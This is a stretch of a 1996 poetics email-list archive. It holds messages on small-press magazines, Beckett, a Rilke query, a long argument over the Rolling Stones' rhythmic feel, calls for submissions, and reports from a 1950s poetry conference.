Torque (ed. Liz Fodaski) is now perfect-bound--meaning meaning--and shining new. Much non-transcendental post-lang lyric, good solid stuff, esp D Kovacs, B Luoma's 'Auto Gobbler'. Arras (ed. Brian Kim Stefans) is number three'd, N Mackey J Retallack R Smith and a calmly blow you away segment of R Fitterman's Metropolis not to mention C Cantalupo and co. Chain (eds. Juliana Spahr & Jena Osman) is split in two, a defence of poetry by W Alexander, a genre rant (th' whole thing's on genreblur) by M Damon, fun. Cool. Makes you wonder what the previous gang meant by the 'what's this new gang doing?' thing.

and of course Situation (ed. Mark Wallace), the most original thing out there, consensus be damned. Looking forward to Happy Genius and MASS AVE later this summer. (Shoot--I forgot to get a copy of Big Allis 7. More later.)

JD

↑ Index

325. Bill Luoma
Rilke
Thu 20 Jun 1996

Howdy folks,

I'm looking for the title & book of a poem by Rilke that begins something like this:

"I am all too alone in the world . . . "

and ends something like this:

"like a ship that carries me safely there ,,, the night."

???

much,

Bill Luoma
[redacted]

↑ Index

326. George Bowering
Re: what matter who's speaking
Thu 20 Jun 1996

Seems to me that in literature at least, Beckett has had a lot bigger impact than has Cage. Cage is still in the space that he picked out, the severe avantgarde, while Beckett won the Nobel Prize. I am talking about breadth of reception here, not necessarily "influence" on composers of whatever.

There are, in drama, and fiction made into drama, lots and lots of Beckett productions onstage all over the world every night. Conferences on beckett the playwright or Beckett the novelist, all over the world.

Curiously, they both wrote poetry, and curiouslt the poets who derive from them, do not extend the stuff they did as poetry, but look on the poetry as something they did on the side, as Picasso, for instance, did poetry on the side.

.....
"Lifting belly is such an incident in one's life."
--G.S.

George Bowering.
2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

327. George Bowering
Re: what matter who's speaking
Thu 20 Jun 1996

> *Would any voice that deconstructs itself
> reductio ad absurdum do so with a cantabile lilt without _Ill
> Seen, Ill Said_?*

Exactly. Or a number of other texts, starting with _The Unnamable_, and thru things like the various monologues.
 types--am I wrong?

> *On the other hand, I believe you might be drawing a false parallel between two distinct philosophical choices. Beckett chose to focus on the individuated voice by stripping it clean; Cage often seemed to regard the voice as an egoic distraction, and performed chance operations, it would seem, to delete it completely.*

Good reply. Remember when _The Unnamable_ came out? And we said okay, that's it for the novel. Beckett has got rid at last of setting, character, etc. Brings us to a voice so alone and so present in opur heads that we cannot distinguyish it from our own, We hear a voice in our heads and it must be our voice, because there are none of fiction's ways of distancing it, onto a "character" or whatever. Then we notice that we cant stop it. We cant go on, we think, but we go on, cant not, till death, and then someone else has the voice in her head anyway.
t is because of me she bleeds
>

.....
"Lifting belly is such an incident in one's life."
--G.S.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

328. George Bowering
Re: what matter who's speaking
Thu 20 Jun 1996

> *I seem to remember reading that Beckett's shift to plays was because the novels were too personal.*

Yes, and then the producers keep taking his late fictions and putting them on stage. There comes a point at which it is not useful to set up a difference. Sometimes when I watch a fistion that is put on the stage, I close my eyes and imagine that I am reading. Hmm. But then things such as _Quad_ go in the other direction and create pure mathematiucal stage stuff with narrative refused.

.....
"Lifting belly is such an incident in one's life."
--G.S.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

329. George Bowering
Re: Susan Howe and Samuel Beckett
Thu 20 Jun 1996

Well, without Samuel Beckett there would be no Susan Howe, eh?

.....
"Lifting belly is such an incident in one's life."
--G.S.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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330. k.a. hehir
Re: ding
Thu 20 Jun 1996

Hello thomas,
you don't know me but i am an undergrad here at western and noticed your name on the poetics list.

i would like to invite you to a reading this coming monday here in town that i'm putting on. it is the first of what i hope will become a series. the line up is --

Skot, Peter Jaeger, J.D. Crosato, Jason Dixon, Me, Carey Weinberg, Sydney janet, and Paul Vermeersch.

The venue is The Brass Door Irish Pub, In the King's Inn. on King street between Clarence and Richmond. There will be a sign.

Also Niniam Mellamphy will give an introductory note to get things going.

Game time is 8 thirty.

Hope you can make it.

Kevin Hehir

p.s.
would you happen to have Carolyn Guertin's eddress?

-- check the office door of ann mayer or sarah king for more info

↑ Index

331. Rachel Loden
Re: Rilke
Thu 20 Jun 1996

Bill,

This is from THE BOOK OF HOURS (1905). As far as I know it doesn't have a title other than the first line (something like "I am too alone in the world, and not alone enough..").

Let me know if you'd like the whole (inadequately translated) poem.

Rachel Loden

You wrote:
>
>Howdy folks,
>
>I'm looking for the title & book of a poem by Rilke that begins

something
>like this:
>
>"I am all too alone in the world . . . "
>
>and ends something like this:
>
>"like a ship that carries me safely there ,,, the night."
>
>???
>
>much,
>
>Bill Luoma
>[redacted]
>

↑ Index

332. k.a. hehir
Re: ding
Thu 20 Jun 1996

oops sorry, that was just supposed to go to Tom Orange but due to inclement weather ended up on the list.

wish me luck.

with all this bad weather and everybody being away i expect the Cat in the Hat to pop in any moment.

kevin

↑ Index

333. Carnography
Re: of the STRENUOUS TYPE
Fri 21 Jun 1996

I came across this in Kant Generator Pro (I might have co-written the module, but Mark Pilgim wrote the program) and thought it might apply to some of the more recent citations vis a vis polemics.

"By means of forcible braying before a blindfolded hod-pustule, the ontological tusks of Yahweh would thereby be made to eschew our genital stems, but the ad hominem retchings (and I guess we'll never know why this is the case) have nothing to do with our flamelets. Because of the relation between our

accrued idiocy and the signified, the intelligible polysemous man-gas in Dubuke yesterday would thereby be stuffed into the head-box of, as I have elsewhere shown, jellied air, yet my painful rash stands in need of abstraction. As is evident upon vigorous manipulation of the steam-glands, our a posteriori craws can never, as a whole, furnish a true and demonstrated science, because, like boredom, they constitute the whole content for corrosive principles. (In national theology, let us suppose that the exploded whoreshead, that is to say, Hegel, is the mere result of the power of pure suppurating, a blind but indispensable function of the Slaw.) No gimp could possibly deny that, in accordance with the principles of our discorporate queries, the decussation of toes of human reason depends on, in natural theology, our discorporate queries. The guys should be careful to observe that worms in air-pores (and let us suppose that this is the case) would thereby be stuffed into the head-box of worms in air-pores, by means of forcible braying before a blindfolded hod-pustule. On this matter, what has been said already should in any case fend for itself. "Since knowledge of the ad hominem belchings of human reason is a priori, boredom, that is to say, gluttony, constitutes the whole content for an acorn-snuffling scab. S. Ewing tells us that, uh, so far as I figure, our flamelets, that is to say, tenets, occupy part of the sphere of uselessness concerning the existence of the signified in general. What we alone have noticed in that Cutesy's hell-hole is that the roots of our undoing are just as necessary as our discorporate queries; therefore, our discorporate queries (and it's pretty obvious that this is the case) constitute the whole content for the dead beauties outside our loos. Our indeterminacies would thereby be stuffed into the head-box of, on the other hand, the abscesses. The insistent dents, even as this relates to our a priori accrued idiocy, would be falsified. Has it ever been suggested that, as is shown in the writings of Cher, the guys should be careful to observe that there is no relation between our indeterminacies and a stressful situation? In natural theology, our discorporate queries are just as necessary as the infinite resources of Ro', because of our painstaking ignorance of the conditions. Since knowledge of the ad hominem belchings is a posteriori, the insertion of the ad hominem belchings of human reason (and no gimp could possibly deny that this is true) constitutes the whole content for insistent dentures, but the Vitreous Humours would thereby be made to contradict, indeed, the signified. "We thus have a pure potpourri of snails, but this need not worry Schmeer. In my present remarks I am referring to the infinite resources of Providence only in so far as it is pestered by shapely principles. This could not be passed over in a complete system of insects, but in a merely critical essay the simple mention of earwigs may suffice."

http://www.interport.net/~scrypt

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334. Carnography
Re: Wildflower dead horse-hair-triggers
Fri 21 Jun 1996

Boy, I really hate sending this to a group of literate poets and academics, but here goes:

> Disclaimer: If pedantic discussions of ancient pop music bother you as much as they bother me, then skip this missive.

Fred typed:

> *In those days I always thought the Stones sounded like white English guys trying to play music that came from Black USA, but not being able to stay off the DOWNbeat, like a kind of electric marching band. They have got a little better at it in their dotage.*

I didn't want to get into this, because I don't particularly like the Stones or the Beatles--the entire debate seems to frame boomer self-importance. (It isn't as if perishable pop bands actually matter unless you're trying to explore a decade via its superficial soundtrack.) But as someone who has had to play exact versions of Strawberry Fields, In My Life, She Comes In Colors and Paint It Black on Karoake laserdisks, and as a white musician who has played on way too many rock sessions, as well as in classical competitions, recitals, and "more legit gigs than there are names for Satan" (as Christian X. Hunter says about my tenure in NYC), I feel I might be able to provide a unique perspective on this horrible, disgusting comparison.

> *I think this is really astute.*

Really? I think that anyone who misses the characteristic feel of Stones recordings in general, and of R & B-inflected Brit Rock in particular, is probably "whiter" (ie, more suburban) than Keith Richards will ever be.

I, too, grew up having little respect for the Stones. In the early eighties, I played with James Brown's ex-trumpet player, Thara Memory, and learned P-funk almost as often as classical pieces. I thought people like the Stones just couldn't play. But then, from 1988-91, I was forced to learn every note, every timbre, every retardando and accelerando, of every single keyboard part in every pop song I was assigned by Daichi Kosho.

(And so was every other New York studio musician who needed the money.)

Most of the music was unendurable pablum: Ashford and Simpson, hellish 70's hits I'd managed to avoid hearing--those of Barry Manilow, for example. (Forty grand a year? It doesn't matter. Kill me.) Some of it was instructional, such as learning the feel of roots country (melody is always behind the beat) and the ad

libs of Sam Cooke. But the music that I noticed most, oddly, was that of the Stones. Theirs was the only chart-friendly soundworld sufficiently dissonant, sufficiently random, not to leave me feeling ill.

(An aside on the subject of sonnets: Have you ever noticed that Honky-Tonk Women is in iambic pentameter? Check it out:

I met a gin-soaked barroom queen in Memphis
She tried to take me upstairs for a ride (etc, etc)

This is the kind of detail one could only notice while replicating Jagger's inflections with a pitch-wheel on a Synclavier as Freddy Hubbard's bassist asked about the phrasing and a stern man from Tokyo scowled and checked his Swatch.)

I'd always thought Jagger couldn't sing worth shit, and that the Stones didn't know how to work together. But now, faced with nothing but Stones, Beatles and Al Green for a period of months, I grasped the secret of BritRock as opposed to straight R & B:

In straight R & B, musicians attempt to play together as tightly as possible. Drums and bass function as one instrument, one thrust. In fusion and lite tech-head jazz (as well as in obsessive metal), this can go too far and lose the feel in hyper-quantized exactitude. (Sometimes this is fun--as in early Metallica, where the frustration of the listener comes from not being able to find the downbeat in an asymmetrical pattern played horribly well by impatient wind-up toys.)

But in R & B-inflected Brit Rock from the Sixties and Seventies, the feel of a band comes not from everyone playing in the same pocket, but from each different musician having his/her own pocket which rubs against the feel of the other musicians. Mere inefficiency? It would seem so at first; but upon closer examination, I learned otherwise. If you try to play rock with funk exactitude, it will just sound wrong.

All of these time-pockets are what create the sound of a brit-R & B inflected band like the Stones or, for that matter, Led Zeppelin, or even Traffic (whose song, "Empty Pages," I had the pleasure of hearing for the first time and teaching to an eighteen-year-old who brought me the recording to transcribe last month. (Yes, I'm making him learn Bach and Bartok.)).

I learned other stuff as well. For one thing, the tuneless, whiny Jagger turned out to be a master of phrasing. Even his tone-deaf sprechstimme rubbed against the band in an effective, resonant way. Like Watts's drag-ass time chafed Wyman's stiff-riffs, like Richard's inspired slop cut into whichever relatively accomplished musician, Jones or Ronson, provided a backdrop of silk to slash, so Jagger's out-of-tune phrases gave a further edge to the sound of the band.

Additional notes:

1. Watts is the laziest drummer in the world--God forbid that he should play an extra fill.

2. Richards is the sloppiest professional guitarist in the business, but there's a reason he sounds as good as he does. Strangely, an engineer friend of mine played me takes of Richards playing on an Expensive Winos track before (stiff and pedestrian) and after (loose, dissonant, and all over the place: redefining rhythm guitar) he shot up: it was one of the best arguments for drug abuse I've ever heard.

§§§

musicians based on skin color, gender, education, lack of education, name-the-irrelevant D. H. Lawrentian class-anxiety-based category.

Recently, an incredibly stupid Village Voice critic named Toure tried to insist that Darius James's brilliant _That's Blaxploitation_ was mediocre because James was *middle-class* and, supposedly, great African- American art can only come from the *lower classes*. Needless to say, Toure was blinded by his own suburban self-hatred. I've been to James's neighborhood in Conneticuit, and it looks like the neighborhood in John Singleton's first film--lower class--than the suburb I grew up in. On the other hand, Toure himself is as middle-class as I am, hence his projection of mediocrity onto Darius.

Friends, there is nothing wrong with being from a suburb. There is nothing wrong with an education and a lawn. Escaping one's roots is not nearly as important as embracing them.

4. But that doesn't mean I intend to embrace ex-Beatles or ex-Stones. Especially after a recording--when they probably stink to high heaven.

http://www.interport.net/~scrypt

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335. henry gould
Re: Wildflower dead horse-hair-triggers
Fri 21 Jun 1996

On Fri, 21 Jun 1996 07:03:41 -0400 Carnography said:
>But in R & B-inflected Brit Rock from the Sixties and Seventies, the feel
>of a band comes not from everyone playing in the same pocket, but from each
>different musician having his/her own pocket which rubs against the feel of
>the other musicians. Mere inefficiency? It would seem so at first; but upon
>closer examination, I learned otherwise. If you try to play rock with funk
>exactitude,
>it will just sound wrong.

You're saying the Brits invented this? The Stones got it from early blues, which is still looser & off-beat (or idiosyncratic) than anything they did. And I have to agree with the first post on this, that rock in general, including the Stones, added a more heavy-handed pounding on the beat. Who's better than who... [sigh]. I applied for Mick Taylor's slot and found Keith Richards a friendly guy to deal with. But I guess they found a better guitar player, for them...

Sorry folks. Enough. Back to the nosenet.
- Henry Gould

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336. Jordan Davis
William Carlos Speedwagon
Fri 21 Jun 1996

If you try to play rock with funk
exactitude,
it will just sound wrong, it
will just sound
wrong, it will just
sound wrong.

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337. Carnography
Re: Wildflower dead horse-hair-triggers
Fri 21 Jun 1996

henry gould typed:

> *You're saying the Brits invented this? The Stones got it from early blues, which is still looser & off-beat (or idiosyncratic) than anything they did.*

Early blues is utterly different from what the Stones did. The Stones *wanted* to be like early blues (not R & B) musicians, but what they actually did involved inspired mishearing, as Harold Bloom might have called it.

I totally disagree with you, and my opinion is based on weird professional exactitude rather than speculation. I had to play Stones and Muddy Waters verbatim--I mean microscopically--for absurdly anal Japanese producers. They had the CD on one side and us on the other--"us" including bassist James Gregory, who was in Richards's band at the time. Jimmy had *never* had to examine Richards's playing on the level we did when we were covering the Stones repertoire. Muddy Waters' rhythm section on "You Need Lovin'" was cleaner than hell compared to the Stones.

Most jazz musicians understand Lightnin' Hopkins, Son House and all of that. They *never* understand the Stones--and that's because the feel and sound are utterly different. They don't understand a vocalist who can't sing and a drummer who misses the beat. Listen to rhythm guitar intro of "Gimme Shelter" and tell me that Richards sounds like a poor man's version of Robert Johnson. The truth is, he sounds like Richards and nobody else.

"Getting it wrong" is a saving grace of popular music and don't kid yourself. House music from the early eighties gets its aggressive polytonality from dj's mixing album parts together by bpm and forgetting utterly about harmony. You

can say it's disco gone wrong, but that's missing the point. Disco was never as ugly, as aggressive, as early four-on-the-floor house.

With all due respect, I challenge the entire conservative construct of your so-called ""original blues": who are you to say that the Brits were doing it badly and incorrectly? I don't hear you complaining that the origins of reggae are in an idiosyncratic interpretation of American music, that the entire feel of reggae comes from Jamaican musicians "getting it wrong." With all due respect, if you didn't understand the difference between Stones feel and that of Robert Johnson (whom Richards dreams of being but, luckily, isn't), then I'm not at all surprised you didn't get the gig with the Stones. Failing to get a gig like that doesn't mean you're a bad musician, but it probably means you didn't understand the musical core, the secret, of the band for whom you were trying out.

It's completely cliche to talk about white musicians being stiff. If it makes you feel like less of a whiteboy to do it, fine. But don't obscure purely musical observations with a race/class perspective. Have you ever had to cop Jagger, Billy Preston, Nicky Hopkins et al with such precision that you can't even flam with the track and satisfy the producer? I had to do it for years. I never wanted to be an expert on sixties feel, but they paid me to become one. You might say you notice the (lack of) difference between Stones and Johnson, but if the feel weren't different, then why would you be making a distinction? Aesthetically, and in several other ways, the sloppiness and sonics are as different from Johnson as the Stones are from Sonic Youth. Led Zeppelin were much more faithful to the blues they copped than the Stones were. Simply put, the Stones weren't good enough to cop Johnson, which is what made them better.

I say, if you're going to wax adamant about feel, then back up your opinion with concrete examples. That's what I did in my earlier post. That's the least you'd do if we were talking about prosody.

All the best,

Rob Hardin

PS: The Stones and the Beatles were just sixties pop musicians. They did what they did well enough, but they don't deserve this much time and space for praise or scorn. All they deserve is to be acknowledged for what they did well.

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338. Fred Muratori
Ribot
Fri 21 Jun 1996

Anyone know if _Ribot_ is still being published? Thanks.

****
Fred Muratori "Certain themes are incurable."

([redacted])
Reference Services Division - Lyn Hejinian
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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339. henry gould
Re: Wildflower dead horse-hair-triggers
Fri 21 Jun 1996

On Fri, 21 Jun 1996 11:40:42 -0400 Carnography said:
>Early blues is utterly different from what the Stones did. The Stones
>*wanted* to be like early blues (not R & B) musicians, but what they
>actually did involved inspired mishearing, as Harold Bloom might have
>called it.

Seems like you're reading a lot into what I said. Basically you're saying what I said: the Stones, among other things, were into early country blues - which has a lot of variation in the rhythms, partly because it doesn't have a drum section, which to my un-microscopically-attuned ears, tends in a lot of cases to tighten the rhythm into a simpler dance format. I never said they weren't as good as their "originals", whether they changed it through mishearing or whatever.

> *I totally disagree with you, and my opinion is based on weird professional exactitude rather than speculation.*

Let's get exact about our vocabulary. Speculation? I've been playing
and listening to both musics for 30 years, in about 8 different bands.
>
>"Getting it wrong" is a saving grace of popular music and don't kid yourself.

Kid myself? When or how did I raise this issue?
>
>With all due respect, I challenge the entire conservative construct

>of your so-called ""original blues": who are you to say that the Brits
>were doing it badly and incorrectly?

I don't disagree with you! Just don't remember saying anything of the kind.

With all due respect, if you didn't understand the difference
>between Stones feel and that of Robert Johnson (whom Richards dreams of
>being but, luckily, isn't), then I'm not at all surprised you didn't get
>the gig with the Stones. Failing to get a gig like that doesn't mean
>you're a bad musician, but it probably means you didn't understand the
>musical core, the secret, of the band for whom you were trying out.

With "all due respect", you're just being snide for the fun of it,
and don't deny it - because it IS fun. Yeah, too bad I didn't have
the Japanese microtraining of the earknobs. Actually, it was a matter
of ideology - Keith and I disagreed about theological issues. Ask
him about "Johnny-b-good" from 1975 - if his fried cells remember that
far back.
>
>It's completely cliche to talk about white musicians being stiff. If it
makes you feel less like a whiteboy... etc....
>purely musical observations with a race/class perspective. Have you ever
>had to cop Jagger, Billy Preston, Nicky Hopkins et al with such precision
>that you can't even flam with the track and satisfy the producer? I had to
>do it for years. I never wanted to be an expert on sixties feel, but
>they paid me to become one. You might say you notice the (lack of)
>difference between Stones and Johnson, but if the feel weren't different,
>then why
>would you be making a distinction? Aesthetically, and in several other
>ways, the sloppiness and sonics are as different from Johnson as the Stones
>are from Sonic Youth. Led Zeppelin were much more faithful to the blues
>they copped than the Stones were. Simply put, the Stones weren't good
>enough to cop Johnson, which is what made them better.

I'll be looking forward to your dissertation. But don't pin
your own rehash of cliches on me.
>
>I say, if you're going to wax adamant about feel, then back up your opinion
>with concrete examples. That's what I did in my earlier post. That's the
>least you'd do if we were talking about prosody.

Who's waxing adamant here? Hey, you may be right, since you've done all
the subatomic research. My pure speculation was that the Stones may
have sounded looser because that's what they heard in the people they
listened to, and it wasn't a totally new thing out of the head of Queen

Victoria. I said that in spite of that, the Stones & rock in general
still sounds "tighter" than SOME rhythmically varied early country blues.
Have I cleared that up?
>
>PS: The Stones and the Beatles were just sixties pop musicians. They did
>what they did well enough, but they don't deserve this much time and space
>for praise or scorn. All they deserve is to be acknowledged for what they
>did well.

I couldn't agree more. Let's throw some more money at them too. - Henry Gould

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340. David Baratier
Pavement Saw winter 96/97
Fri 21 Jun 1996

Pavement Saw #3 still has a few slots open for publication
before we pack it in & publish.
We devote a third of each issue to extremely short fiction
and prose. Send some work. The line-up at present is as
follows:

Featured writer: Sean Killian (extended poems which were discussed in the maximus/minimalist panel at NYU talks

And new work by: Timothy Russell, Mark Wallace, Tracy Philpot, Marck L. Beggs, Janet Bowden, Errol Miller, Michael Estabrook, R. Kimm, Thomas Michael McDade, Joseph Semenovich, Daniel Green, Alan Catlin, and many others...

Send 5 pieces or pages

Pavement Saw Press / 7 James Street / Scotia, NY 12302

or if you want the issue it's 3.50 for individuals, $6 subscription, $10 subscription for libraries and institutions.

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341. McGuire Jerry L
fortune cookies
Fri 21 Jun 1996

David Baratier mentioned yesterday that someone had queried for fortune cookie text, if that's the word. I've been saving them for ages for an exercise I

do with my students, and will be happy to send my collection along to whoever it was wanted them. Just buzz me back at

[redacted]

Yrs,

Jerry

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342. Sheila E. Murphy
New Publication
Fri 21 Jun 1996

Glad to report a new publication:

Way #2: THREE WORKS by Sheila E. Murphy
including

- Letters to Unfinished J # 66 - 80 (prose pieces)
- Watching Thorns (Meditation on the Work of Kevin Irvin)
- For the Loaded Funds and Gardens (16 pp. sonnet sequence)

Edited by Tom Beckett

Available for $6.00:

Tom Beckett
131 North Pearl Street
Kent, OH 44240

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343. David Baratier
Re: ribot
Fri 21 Jun 1996

They are still around, Paul sent me issue #3, & a recent note said that he was expecting #4 in September

David Baratier

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344. David Baratier
Painted Bride submissions
Fri 21 Jun 1996

The editors of Pavement Saw Press, Tara Pauliny and David Baratier, would like to extend a cordial invite to any one on the poetics list who would

like to submit work to the Painted Bride Quarterly. We will be guest editing a "film" issue (not our choice, yeah we know about B-city) for submissions recieved up until *July 31st, 1996*. As further clarification, we funderstand the concept of film to be linked to a cinematic process of writing, NOT on poems about films. Letters should be addressed to:

Painted Bride Quarterly
230 Vine Street
Philadelphia, PA 19106
Attn: Tara Pauliny and David Baratier

For folks unfamiliar with PBQ the journal has been around for well over 20 years and has recently published Gwendolyn Brooks, John Ashberry, James Tate, Charles Rafferty, Gary Fincke, Paul Violi, and other major & minor publisher names. As a journal that hardly ever offers representation of what Spencer Selby calls"experimental writing" or others label "avant-guard" this should be worthwhile, albeit rare, opportunity.

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345. Tony Green
Re: wild wild dead horse hairs
Fri 21 Jun 1996

Hi, Cris Cheek, I had a backchannel conversation with Wystan abt the jip/gyp spellings yesterday and came to the same conclusion, racist, short for "gypsy". dyincu best

Tony Green,
e-mail: [redacted]

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346. Eryque Gleason
Re: fortune cookies
Fri 21 Jun 1996

---

david, 'twas me what requested fortune cookies. thanks for the suggestions. i unnerstand yr concerns about more "tired poems", which is why i tend to take naps before trying to write, need all the energy i can get!

what i've got in mind isn't really another fortune cookie poem, or even a horoscope series (chris s. has a chapbook of such that i rather like). if i'd wanted to do a series of fortune cookie's i'd prolly make my own cookies to go with the fortune (and then agonize over whether or not to eat the damn things). i'm just using those for raw material.

of course, what i've got in mind isn't really in mind yet as the weather conditions in albany and economic conditions in my pocket are ripe for aviating.

happy landings! (and stoops and lawns, etc.)
eryque

> *There was a post a while back where somebody wanted some FC Sayings. I have found alternate possibilites for the same type of messages. A friend returned from Italy and brought back Perugina chocolates, which come with sayings in four different languages, centered around ideas of love, sensuality and the body. The packaging for illegal drugs, such as crack vials and heroin bags, quite often has prophetic sayings printed on them: "happy days are here again," or "FPW unite." Caps of Coca-cola often have: "sorry, try again" I offer these possibilites to add to the work cause I would hate to see someone dredging up a tired "fortune cookie" poem series after following O'Hara, Stroffolino, Lee Ann Brown, etcetera.*
>
> *David Baratier*

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347. cris cheek
Re: Wildflower dead horse-hair-triggers premonitions
Fri 21 Jun 1996

So, hey hey hang on. I'm lost.

These extended metaphors have got me butch, close to riveting.

Doesn't most writing miss, as in re-embody, the beat of the previous feel's embodiment, period - manufacture difference?

Don't the Stones (yeah Watts was as great as the underated Ringo as the dead pan duo of master minimalist drummers) employ that classic teleology of avant-garde strategies - reference, deference, difference?

Isn't that the crux for quertzblatz? The reference is easy but in itself tricky, the deference gets stuck in the craw of the reference and the difference is already scuppered?

Forget Speedway, name tells all. For topical lyrical and typical textures, arguable here now, try Pulp (Jarvis Cocker was taken to the bosom of the teen nation for upstaging Michael Jackson's Christian TV pomp and 'I Spy' in bitter english tang from the runt of Thatcher's litter), and Tricky (both 'Maxinquaye' and his new one under Nearly God - 'Heaven').

Yes yes to those quirky out crunch deranged harmonies of early house. And then Robert Johnson comes along, hears Tricky and makes a record which reminds somebody of Muddy Waters. Shame he couldn't learn to reproduce the

Tricky sound, correctly. But then Jim Hendrix never died, he hid out in south-west Madagascar, I saw him only yesterday.

You might not consider this to be contemporary petry, but I can assure you that in the pubs of Clapham this is what everybody is doing and calling poetry. At least for the past week anyways. They talk epic chord progressions for days.

'80. (CM.1.) 5.0 p.m. In Picadilly, crossing-sweepers have already got the refuse into heaps - carpenters inside Simpson's are taking down seats - there is a pile of dismantled barriers in a side street. Two ex-servicemen with a barrel organ covered in a Union Jack are giving a superb performance with spoons and plates in the middle of the road. The queue for the Picadilly tube is four deep as far as the Popular Cafe'

(May 12th, 1937) from 'Mass-Observation Day-Survey'

love and love
cris

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348. **Chris Stroffolino**
Re: Painted Bride submissions
Sat 22 Jun 1996

Good luck, Dave Baratier, with PBQ---I do, however, would like to call attention to an earlier issue I "ghost" edited of same mag. in 1992. Which DID publish many people who'd be familiar on this list (Ashbery, Perelman, Retallack, Sean Killian, David Shapiro, Yau, my review of Lisa Robertson, etc.). I think it's still available for sale (issue #46)--If not, I think i got some extra copies in a box somewhere. BE GOOD, Chris S.

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349. **Ken Edwards**
Carcanet
Sun 23 Jun 1996

I recently recommended a couple of Carcanet Press titles. Today I read that their office was at the epicentre of the IRA bomb blast in Manchester last Saturday. It appears that much of the 30-year archive has been destroyed. Carcanet boss Michael Schmidt was quoted in the press saying laconically "We have had crises before -- this certainly is a change from cash-flow problems."

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350. **Joe Amato**
pmc reviews...
Sun 23 Jun 1996

---

all: just a note to say that my review of jed rasula's _the american poetry wax museum_ is now available at _postmodern culture_... here's the url:

http://jefferson.village.virginia.edu/pmc/issue.596/contents.596.html

my review is alongside ken sherwood's review of jerry r. and pierre j.'s _poems for the millennium_... so i guess it's a poetry fest...

best,

joe

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351. **Peter Nicholls**
Re: Alternative Accommodations for Assembling Alternatives
Sun 23 Jun 1996

---

dear Romana: i've been holding to see whether the funding situation will change here, but no hope, I'm afraid. But maybe we can meet up when you're at Caius. I'm away for the last couple of weeks of July and a few days in early August, but we may be able to connect if you have time. mh home number is 01273-323526, and work 01273-678374. The list of participants is staggering. You have done an amazing job, and if I don't see you in August the very best of luck with it. And thanks for thinking about my funding problems. best wishes, Peter.

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352. **Loss Glazier**
50s in Orono - the Reviews
Sun 23 Jun 1996

H O W L A N D

I saw the best minds of my generation, deployed by mini-vans,
    coffeeless, hysterical, rained on,
dragging themselves through the forested lanes at all hours looking for
    101 Neville,
angelheaded readers burning for the fifties heavenly connection
    to the dripping dynamo in the machinery of rain,
who lost meal tickets and many-panelled and saying hi sat up smoking
    in the supernatural darkness of cold watery dorms floating

across the tops of trees contemplating Sagetrieb,
who bared their brains to slideshows in the Aud and saw
Mohammedan angels staggering in NPF hallways
illuminated,
who passed through the university with radiant cool eyes hallucinating
Poetics and Blake-light ecstasy among the scholars of
Tolson, Niedecker, O'Hara, & endles bunches o' guys,
who were expelled from their own academies for crazy & publishing
articles where certain words had equal signs between their letters,
who cowered in unshaven rooms in long underwear, burning their money
on meal tickets and listening to the SLAMS of doors thru the wall,
who got busted for genderism returning through Laredo
with a belt of hubris for New York,
who ate danish in academic corridors or drank turpentine coffee in Hilltop,
behind schedule, or purgatoried reading abstracts into night,
with dreams, with speeches, with waking nightmare references to rhyme and
meter and peter and endless halls, packs, and simpsons,
INCOMPARABLE great streets of shuddering words and lightning wit in the
mind leaping toward poles of Canada & Paterson & Liberia,
illuminating all the motionless world of the Web between,
Listserv soliloquies of halls, backyard green tree campus dawns, staggering
bleary-eyed for bone dawn rituals of eggs and toast ...

COMING to a listerv near you.

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353. Chris Stroffolino

some questions from orono (tentative toe testing)

Sun 23 Jun 1996

Though I can not offer a full report of even the fraction of the official activity I witnessed and to some extent participated in at the 50's poetry conference, I want to try to make sense here of some of my impressions. In the first place, it was absolutely great to meet y'all in person as it were. Unofficial events were really fun. Fie on the rumours that academics are dry personalities! (I'll elaborate on this later). As for content of the panels, some of the issues that are "hottest" and most volatile in my mind at present would include the RACE question. Aldon Nielsen chaired a very good panel on Stephen Jonas, Russell Adkins (atkins?) and Melvin Tolson. Very informative and provoking. It seemed the most sensitive issues surrounding "race" however were tied in with discussions on Frank O'Hara. Nick Lawrence (who i

didn't see) and Katherine M. Davis, Steve Evans and Ben Friedlander all dealt extensively with the race politics involved in O'Hara's work. Though I do not want to generalize about these three papers---which took different positions on race and theorized O'hara's position to race quite differently--after the smoke of intensity cleared I found myself asking about the relation of the EROTIC to the question of RACE POLITICS. In fact, the relation of the erotic to POLITICS in its "broader" concerns became a large question that seemed to loom over the conference as a whole and for the most part seemed to be answered or theorized unsatisfactorily for me. Of the papers and speeches I saw, with the notable exception of Rachel Blau Duplessis's excellant talk about the sexual politics that informed Olson, Creeley and others, most of the papers seemed to invert the old "THE PERSONAL IS THE POLITICAL" battle cry. Perhaps invert is the wrong word. By "invert" I mean that the personal address in the lyric poems of O'Hara and Creeley etc was often read as a thinly veiled allegory of the artist's struggle with the repressive climate of the 50's (Michael Davidson here, but others). Thus THE PERSONAL IS POLITICAL, but it's not POLITICAL as PERSONAL. In such formulations, the "personal" becomes marginalized and is "revealed" to be an introjection of the "political." Basically, there is no "personal" in such a formulation. The RELATIONAL sphere-- "the only reality is face to face" (or body to body, etc.), and the erotic sphere can only PROPERLY be called POLITICAL if read in terms of "larger" sputnitbeatnickcivilrightsafricanliberationidentitypolitics (etc.) Perhaps this is the NATURE of a conference that is based around an HISTORICAL ERA. I do not mean to absolutely INVALIDATE such modes of thought. I was very provoked by these papers, but to open up a question of race, specifically on O'hara, again (echoing a discussion Aldon and I had a few months ago), I have a hard time seeing the value in GLOBALIZING or generalizing from such erotic fantasies of race relations (or racial fantasies of erotic relations) especially when the questions of SEXUAL POLITICS (whether hetero or homo) seem to be not touched on at all. The question of the politics of eros too easily gets obscured. Furthermore, I sensed at times, a kind of moralism (whether by apologists for O'hara's views on race as progressive for his time or by more critical stances towards such views) that marginalizes the specifically amoral (extra-moral qualities) that O'hara's poetry so blatantly announces itself as (the thing about the "tight pants" as a kind of Shellyean INTELLECTUAL BEAUTY or Stevensian "jar"). What does moralizing a blatantly amoral poet do? (such questions are not specific to O'hara--nor is O'hara ALWAYS amoral--just USUALLY). 